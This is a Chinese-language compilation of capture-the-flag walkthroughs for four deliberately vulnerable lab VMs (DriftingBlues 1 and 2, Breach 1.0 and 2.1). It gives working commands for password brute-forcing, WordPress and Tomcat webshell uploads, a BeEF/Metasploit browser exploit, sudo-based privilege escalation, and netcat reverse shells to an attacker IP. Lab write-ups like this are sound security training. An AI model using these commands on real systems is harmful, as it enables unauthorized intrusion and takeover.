Driftingblues 2

Driftingblues:2

一、基本信息

名称:DriftingBlues:2

发布日期:2020.12.17

作者:tasiyanci

系列:DriftingBlues

推特:@tasiyanci

二、靶机简介

Flags:

freddie:/~/user.txt
root:/root/root.txt

难度:简单

三、文件信息

文件名:driftingblues2.ova

文件大小:638MB

下载地址:

MD5: 51E9326E61C922CD7EA3A5C2AEB25C83

SHA1: 5444B91703E9B4D9BE48849A7816E369294376BA

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机driftingblues2和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image

2.再进行端口扫描,发现开放了21,22和80端口,访问主页查看源码,没有什么发现:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.114 | tee nmapscan,端口扫描

image

image

3.最后再进行一下目录扫描,发现有/blog这个目录:

1
gobuster dir -u http://192.168.56.114/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image

Wordpress后台登录

1.访问192.168.56.114/blog,很明显需要添加host解析:

image

image

image

2.因为主页有提示是用wordpress搭建的,添加解析后访问wordpress后台页,可以利用wpscan进行用户名及密码的爆破:

image

1
wpscan --url http://driftingblues.box/blog -e u,爆破用户

image

1
wpscan --url http://driftingblues.box/blog/ --passwords rockyou.txt --usernames albert,爆破密码

image

Wordpress写入webshell

1.登录进后台后,在Appearance-Theme Editor-404.php页写入修改后的kali自带webshell,/usr/share/webshells/php/php-reverse-shell.php,同时在kali开启监听端口,访问不存在页面触发webshell:

image

1
vim /usr/share/webshells/php/php-reverse-shell.php,修改webshell

image

image

image

2.获得shell后,我们能在/freddie目录下发现user.txt,但我们没有权限查看:

image

image

SSH登录,初步提权

1.我们可以发现在/freddie目录下有.ssh目录,里面有freddie用户的密钥:

image

2.我们将id_rsa保存至kali,并使用此密钥进行登录freddie,获得第一个flag:

image

image

root提权

1.使用sudo -l 查看是否可以以root权限执行命令,发现可以用nmap,那么使用nmap提权即可:

image

1
2
echo 'os.execute("/bin/bash")' >getshell
sudo nmap --script=getshell,这里提权后没有命令输入显示

image

Driftingblues 1

Driftingblues:1

一、基本信息

名称:DriftingBlues:1

发布日期:2020.12.11

作者:tasiyanci

系列:DriftingBlues

推特:@tasiyanci

二、靶机简介

Flags:

eric:/~/user.txt
root:/root/root.txt

难度:中等

三、文件信息

文件名:driftingblues.ova

文件大小:2.7GB

下载地址:

MD5: EF2FCBFF3647CA3C46529CACADD474C2

SHA1: 6CA2A8999AC3881C0186DE534F846D56035C2AE3

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机driftingblues和攻击机kali2021在VirtualBox下设置为桥接模式,使用DHCP分配ip地址:

image

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.3.134:

1
ifconfig,查看kali分配到的ip

image

1
nmap -sP 192.168.3.134/24,扫描靶机ip

image

2.再进行端口扫描,发现只开放22和80端口,访问主页查看源码,发现一串base64编码:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.3.138 | tee nmapscan,端口扫描

image

image

3.最后再进行一下目录扫描,发现只有很简单的几个目录:

1
gobuster dir -u http://192.168.3.137/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image

文本解密,子域名暴力破解

1.将主页源码的base64编码字串解码后,得到一个文本文件,访问发现是一段Ook加密:

image

image

2.解密Ook文本后得到提示要添加host,在主页上能发现域名信息:

image

image

3.再进行子域名暴力破解,得到test.driftingblues.box再次修改host:

1
gobuster vhost -u driftingblues.box -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

image

image

4.访问test.driftingblues.box,再次进行目录扫描,发现robots.txt文件:

image

1
dirb http://test.driftingblues.box

image

SSH登录

1.我们访问robots.txt文件可以发现还有ssh_cred.txt文件,在ssh_cred.txt中提示我们ssh的密码:

image

image

2.先用crunch生成密码字典,在用hydra进行ssh登录破解,eric多次出现,很可能是用户名:

1
crunch 13 13 -f /usr/share/crunch/charset.lst numeric -t 1mw4ckyyucky@ > password.dic

image

1
hydra -l eric -P password.dic -t 10 ssh://192.168.3.138 

image

3.ssh登录后,在当前目录下发现了第一个flag,即user.txt:

image

image

root提权

1.在/var/backups目录下,我们查看文件权限,发现backup.sh的属主和属组都是root:

image

2.查看backup.sh,其实就是用zip命令把/var/www目录下的所有内容打包为/tmp/backup.zip,然后sudo /tmp/emergency,的确在/tmp中找到了这个压缩文件,但是并没有找到emergency,那我们可以写一个能提权的/tmp/emergency即可:

image

1
2
3
4
cd /tmp
vi emergency
echo "eric ALL=(ALL:ALL) ALL" >> /etc/sudoers
chmod +x emergency

image

image

3.利用pspy64s可以发现backup.sh是一个定时执行的进程,那么我们等待一会就可以进行提权,获得第二个flag:

1
2
3
4
python3 -m http.server 8001,kali开启http服务
wget http://192.168.3.138:8001/pspy64s,eric获取pspy64s
chmod +x pspy64s
./pspy64s

image

image

Breach 2.1

Breach 2.1

一、基本信息

名称:Breach 2.1

发布日期:2016.8.15

作者:mrb3n

系列:Breach

推特:@mrb3n813

二、靶机简介

Flags:

root:/root/.flag.py

难度:中等

三、文件信息

文件名:Breach-2_final2.1.zip

文件大小:1.3GB

下载地址:

MD5: 90E8871E8EB68ADBEB82659FE1F11831

SHA1: 069B529B6701FDF9F82840F9918842921FFB7A1E

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:禁用

IP地址:192.168.110.151

六、环境配置

1.将靶机Breach2在Vmware下设置为仅主机模式,并修改ip为192.168.110.151,这里演示的是mac环境下Vmware Fusion 11,只能命令修改host-only的ip(记得备份),命令如下:

1
sudo vi /Library/Preferences/VMware\ Fusion/networking

image

2.将攻击机kali2021也选择用仅主机模式链接,启动,保证与靶机Breach在同一网段下,这里kali2021的ip为192.168.110.2。

七、攻略步骤

靶机端口扫描

1.Kali2021先用nmap对192.168.110.151(Breach2)扫描,发现SSH端口不是22而修改为了65535:

1
nmap -A -p- 192.168.110.151 (端口扫描)

image

2.尝试访问ssh,命令为:ssh 192.168.110.151 -p 65535,会发现被告知Peter用户密码就在源码内,于是尝试用peter链接,密码inthesource,可以成功链接,但很快就被断开:

image

3.再次使用nmap基础扫描,发现80端口开放了,可以进行访问,而访问页面查看源码并没有多余线索,但是页面图片是BEEF,算是提示吧:

image

image

网站目录爆破,XSS注入

1.使用命令:dirb http://192.168.110.151/,爆破网站目录,发现跟之前ssh提示相关的blog目录:

image

2.我们访问后发现是博客页,且有搜索框,明显有XSS,这里进一步可以用sqlmap进行数据库爆破,但我们暂且没有登录窗口:

image

3.使用BeEF,在博客的注册页提交payload,返回主页点开消息提示触发,可以观察到主机已经上线,并且得到靶机浏览器为Firefox 15,有可利用漏洞:

image

image

Msf利用漏洞,构造shell

1.启动msfconsole来利用漏洞:

1
2
3
4
5
6
use exploit/multi/browser/firefox_proto,进入要利用的exp框架
set payload generic/shell_reverse_tcp,设置要利用exp所需要的payload
set srvhost 192.168.110.2,设置exp所需要的服务端地址,也就是攻击机的ip
set uripath shell,设置exp攻击成功之后的url目录
set lhost 192.168.110.2,设置payload的ip地址
run,启动一次攻击,生成利用的url连接

image

2.利用BeEF的Redirect Browser模块,输入之前msf生成的url,得到session:

image

image

3.因为浏览器的shell会在连接了5秒钟之后失效,所以要在获取到session之后,将迁移shell进程到meterpreter中,获得一个稳定的shell,再次在BeEF中按下execute,得到session后立刻输入命令:

1
2
3
use post/multi/manage/shell_to_meterpreter,进入到转移shell用的模块
set session 2,设置要转义的session号,这里我是session 2
run,启动转移,成功转义,获得稳定的shell,session 3

image

4.使用session 3,构造shell:

1
2
sessions -i 3 
python -c 'import pty;pty.spawn("/bin/bash")',获得标准shell

image

用户搜寻

1.继续收集信息,查看电脑开启的端口,发现一个不常见的2323端口,可以尝试链接一下,得到的是一个地理坐标:

image

image

2.这个地理坐标是休斯敦(Houston)的一个公园,很有可能是一个密码信息,而我们之后对帐户进行搜寻,发现了一个milton的帐户:

image

image

3.随即想到使用telnet登录milton,密码为Houston,但之后又有问题:

image

4.只能再去milton用户目录去寻找线索,在用户目录下发现了cd.py文件,查看源码知道刚才问题的答案是mine:

image

5.重新利用telnet登录milton,再次查看端口开放,发现有8888端口开放,有OScommerrce页面,且可以访问管理页面:

image

image

image

反弹shell,准备提权

1.首先管理页面用admin帐户登录,密码也是admin,算是一个弱口令,其实之前利用sqlmap就已经爆破出来了:

image

2.进入管理后台,发现Tools – File Manager – includes – work是有写入权限的,我们可以用msf制作一个反弹shell,进行上传:

image

3.msf生成反弹shell:

1
2
3
4
5
6
7
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.2 LPORT=5555 -f raw > shell.php,生成反弹shell脚本
msfconsole
use exploit/multi/handler,切换exp模块
set payload php/meterpreter/reverse_tcp,使用payload为之前生成后门所用的payload
set lhost 192.168.110.123,设置用来接收shell的ip
set lport 5555,就是之前生成后门所设置的端口
run,启动exp,等待接收shell

image

image

4.把生成的shell.php上传到work目录下,对shell.php进行访问后,可以看到msf能够进行shell,且登录用户为blumbergh:

image

image

image

提权,获取flag

1.开始进行提权,输入命令:sudo -l,发现root不需要密码的命令为tcpdump:

image

2.那么可以利用tcodump进行提权,命令如下:

1
2
3
4
nc -lvvp 1993,kali2021开启一个监听端口
echo "nc 192.168.110.2 1993 -e /bin/bash"> /tmp/shell.sh,在/tmp目录下写入shell.sh脚本
chmod +x /tmp/shell.sh,给shell.sh脚本执行权限
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root,使用tcpdump命令

image

image

3.进入/root目录下,寻找flag,这里全是隐藏文件,命令如下:

1
2
3
cd /root,进入root目录
ls -la,查看隐藏文件
python .flag.py,显示flag

image

image

Breach 1.0

Breach 1.0

一、基本信息

名称:Breach 1.0

发布日期:2016.6.30

作者:mrb3n

系列:Breach

推特:@mrb3n813

二、靶机简介

Flags:

root:/root/flair.jpg

难度:中等

三、文件信息

文件名:Breach-1.0.zip

文件大小:1.9GB

下载地址:

MD5: F15490856100B3164D4E6807CFF744C5

SHA1: 812D56D6071A1859F03446FEE34532AC6A785414

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:禁用

IP地址:192.168.110.140

六、环境配置

1.将靶机Breach在Vmware下设置为仅主机模式,并修改ip为192.168.110.140,这里演示的是mac环境下Vmware Fusion 11,只能命令修改host-only的ip(记得备份),命令如下:

1
sudo vi /Library/Preferences/VMware\ Fusion/networking

image

2.将攻击机kali2021也选择用仅主机模式链接,启动,保证与靶机Breach在同一网段下,这里kali2021的ip为192.168.110.2。

七、攻略步骤

靶机端口扫描

1.Kali2021先用nmap对192.168.110.140(Breach)扫描,发现几乎是全端口开放,应该是伪造了:

1
nmap -v -A 192.168.110.140 -oN Breach.txt (端口扫描)

image

获取impresscms登录密码

1.直接访问192.168.110.140:80(Home page),发现初始页为一张图片,点击图片可以进入http://192.168.110.140/initech.html,这个页面下Home page,Cake,Stapler是三张图片,Employee portal是一个impresscms的登录页:

image

2.我们回到Home page看看有没有能登录的线索,源码里有一串明显是base64加密的注释:

image

3.Base64解码几次得到类似账号密码的东西,尝试去impresscms登录:

image

获取SSL证书,解析TLS流

1.登录后我们可以看到几封邮件,其中第三封邮件表示有一个peter的SSL证书被保存在192.168.110.140/.keystore:

image

2.访问http://192.168.110.140/.keystore下载包含SSL证书的密钥库keystore文件,但我们现在还不知道这个有什么用处;回到impresscms帐户页面,我们依次点击菜单栏,会有很多信息,当我们在右边Home页下,点击Content时,下方会弹出一个链接:

image

3.这个链接指向一个流量包,当我们用wireshark打开时,发现是tls流,包括该页面本身也有提示表示:这个pCAP文件是有红色团队的重新攻击产生的,但是不能读取文件。而且告诉我们Keystore密码、key密码都设置成了tomcat。
由此推测:
a.这是一个流量包文件,不能读取很可能因为某些流量有SSL加密,前面的邮件中提供了一个keystore,这里提供了密码;
b.系统中可能存在tomcat:

image

4.现在要利用工具解析之前获得的keystore,使用keytool,命令如下:

1
2
3
keytool -list -keystore keystore (密码:tomcat)

keytool -importkeystore -srckeystore keystore -destkeystore tomcatkeystore.p12 -deststoretype pkcs12 -srcalias tomcat (密码连续三次:tomcat)

image

5.然后利用生成的.p12证书导入wireshark,再打开刚才的流量包可以看到解析出的http包,发现是tomcat的管理页面和密码:

image

image

image

登录Tomcat,上传shell

1.可以登录试试看,报错了,切换浏览器还是报错了:

image

2.这个时候用burpsuite先代理一下,再放行,就能通过了(kali2021设置在了仅主机模式下,仍无法访问可从外部主机BP代理再放行访问tomcat):

image

3.使用msfvenom生成后门文件,命令如下:

1
2
3
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.110.2 LPORT=1234 -f jsp -o shell.jsp (生成后门)
zip -r shell.zip shell.jsp (压缩shell)
cp shell.zip shell.war (修改格式,便于上传)

image

4.启动msfconsole,设置监听,命令如下:

1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.110.2
set lport 1234
run

image

5.在tomcat上传生成的shell.war后门,并且访问https://192.168.110.140:8443/shell/shell.jsp,在msf下顺利拿到shell:

image

image

image

搜索帐户,准备提权

1.建立一个交互式的shell,发现了两个除root外值得关注的帐户,开始准备提权,命令如下:

1
2
python -c 'import pty;pty.spawn("/bin/sh")' (交互式shell)
cat /etc/passwd

image

2.而/var/www/5446目录下,看到两个文件名很特殊的文件,是mysql的数据库连接文件,使用的root账户,不需要密码:

image

3.输入命令,mysql -u root -p ,进入mysql,提示输入密码,直接回车,成功连接进入mysql数据库,查看账号密码,得到milton账户的密码哈希,解密为:thelaststraw:

image

4.这时我们就可以尝试用milton的帐户进行登录了,而查看历史命令,发现有切换到blumbergh这个账户的操作,操作之后有切换到root的操作,所以可能提权要进入到blumbergh这个账户:

image

5.继续分析,我们发现milton帐户下有一张图片,包括之前在服务器上发现的一共七张图片,用图片分析工具exiftool一一分析,可以得到类似密码的字串:

image

6.现在可以登录到blumbergh帐户,再次查看历史命令,发现/usr/share/cleanup目录下的tidyup.sh脚本文件:

image

image

提权,获取flag

1.输入命令:sudo -l,查看能够root权限执行的命令有tee,tidyup.sh文件只有root可写,而能够以root权限运行tee命令,那么用tee命令写tidyup.sh:先将反弹shell命令写入shell.txt文件,使用bash反弹shell命令没有成功,于是使用nc命令反弹shell成功,所以写nc反弹命令:

1
2
3
4
cd /home/blumbergh (切换到blumbergh的家目录中)
echo "nc -e /bin/bash 192.168.110.2 2345" > shell.txt (将nc执行的反弹shell命令,写入到shell.txt文件)
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh (使用tee命令将shell.txt内容输出到tidyup.sh)
cat /usr/share/cleanup/tidyup.sh (查看tidyup.sh文件写入成功)

image

2.Kali2021中,输入命令:nc -lvvp 2345,监听2345端口的动静,等到一段时间,成功接到root的shell,查看/root目录下,有个flair.jpg的文件,应该是最后的flag,将文件再次复制到/var/www/html/images中,查看图片,成功得到flag:

image

image